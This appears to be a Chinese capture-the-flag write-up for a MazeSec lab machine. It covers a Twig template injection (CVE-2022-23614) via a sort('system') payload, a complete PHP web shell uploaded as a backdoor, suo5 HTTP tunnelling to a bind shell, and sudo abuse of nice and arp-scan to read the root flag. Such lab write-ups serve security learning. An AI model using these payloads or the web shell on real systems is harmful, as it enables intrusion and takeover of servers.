

suo-xnzcode

信息收集

- 目标主机IP: 192.168.0.150
- 开放端口
 - 80/http

80端口探测

代理配置生成器

快速生成 HTTP 代理隧道连接命令

目标服务器地址

192.168.0.151

输入目标服务器的 IP 地址或域名，包含端口号（如果有）

生成连接命令

GENERATED COMMAND 复制

```
./suo5 -t http://192.168.0.151/suo5.jsp
```

✓ 高性能传输 ✓ 全双工模式 ✓ 负载均衡支持

© 2026 MazeSec. 仅供开发测试使用

主页提示了会用到http代理隧道，生成的命令也有个 suo5.js

目录扫描

直接 dirsearch，扫出了 /composer.json

```
{
  "name": "myproject/twig-site",
  "description": "Twig template project",
  "type": "project",
  "require": {
    "php": ">=7.4",
```

```

        "twig/twig": "^3.23"
    },
    "autoload": {
        "psr-4": {
            "App\\": "src/"
        }
    },
    "config": {
        "optimize-autoloader": true
    }
}

```

使用了 twig 模板，查到了模板漏洞[cve-2022-23614](https://cve.mitre.org/cve/2022/23614)

```
{{ ["id",""]|sort('system') }}
```

可以正常复现，尝试反弹没成功，传了个php后门方便一点

```

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

```

suo5代理

靶机环境不出网（无法主动连接外网）

由于无法反弹 Shell，传统的 Reverse Shell 思路失效。

查看suo5的 [github页面](#) 可以找到服务端 suo5.php 文件上传到服务器上

```
# 把靶机的1234端口转发到本机的1111端口
./suo5-linux-amd64 -t http://192.168.0.151/suo5.php -f 127.0.0.1:1234
```

然后再在靶机上开一个bind shell就有shell了

yibasuo思路

- apache 用户有以 lanyangyang 用户运行 nice 的sudo权限，相当于以 lanyangyang 直接执行任意命令，所以直接用 lanyangyang 开bind shell 顺便拿user
- lanyangyang 有 arp-scan 的sudo权限，用 --file 参数读root flag

总结

好玩，主要是封禁端口这个比较有意思，可以看看111的 [# VulnHub Jangow01 : 利用 Suo5 在不出网靶机中访问本地服务](#)